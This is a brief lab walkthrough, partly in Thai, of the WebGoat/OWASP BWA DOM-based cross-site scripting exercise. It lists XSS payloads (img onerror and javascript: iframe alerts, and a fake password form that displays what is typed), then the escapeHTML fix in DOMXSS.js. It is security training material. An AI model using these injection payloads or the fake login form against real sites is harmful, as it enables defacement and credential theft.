AJAX Security - LAB: DOM-Based cross-site scripting
Stage 1:
ทำการ Deface เว็บโดยนำลิงค์ที่ OwaspBWA จัดเตรียมไว้มาครอบด้วย TAG : img
<img src="http://172.16.222.128/webgoat/images/logos/owasp.jpg">
Stage 2:
Now, try to create a JavaScript alert using the image tag
<img onerror=javascript:alert('xss') src="http://172.16.222.128/webgoat/images/logos/owasp.jpg">
STAGE 3: Next, try to create a JavaScript alert using the IFRAME tag.
<iframe src="javascript:alert(xss)"></iframe>
Stage 4: Use the following to create a fake login form:
Please enter your password:
<BR>
<input type = "password" name="pass"/>
<button onClick="javascript:alert('I have your password: ' + pass.value);">Submit</button>
<BR><BR><BR><BR><BR><BR><BR><BR>
<BR><BR><BR><BR><BR><BR><BR><BR>
ตามน้ำได้เลยครับ Copy ใส่ฟอร์มจะมีฟอร์มใหม่ขึ้นมาให้เราทดสอบ Submit
เป็นการทำXss - Fake login form แบบ Simple simple ~
STAGE 5: Perform client-side HTML entity encoding to mitigate the DOM XSS vulnerability. A utility method is provided for you in escape.js
เรียกใช้ฟังชั่น escapeHTML ที่อยู่ในไฟล์ Escape.js
นำไปใช้ในการ encoding (เข้ารหัส) เพื่อบรรเทาช่องโหว่ของ DOM XSS vulnerability
โดยให้เราเข้าไปแก้ไขในไฟล์ DOMXSS.js ที่มีช่องโหว่
*ไฟล์ DOMXSS.js จะอยู่ในโฟล์เดอร์ของ OwaspBWA
เมื่อทำการแก้ไขช่องโหว่เสร็จแล้ว
ทดสอบใส่คำสั่งด้านล่าง เพื่อทดสอบว่าไม่สามารถรัน javascript ได้จริง
<iframe src="javascript:alert(0)"></iframe>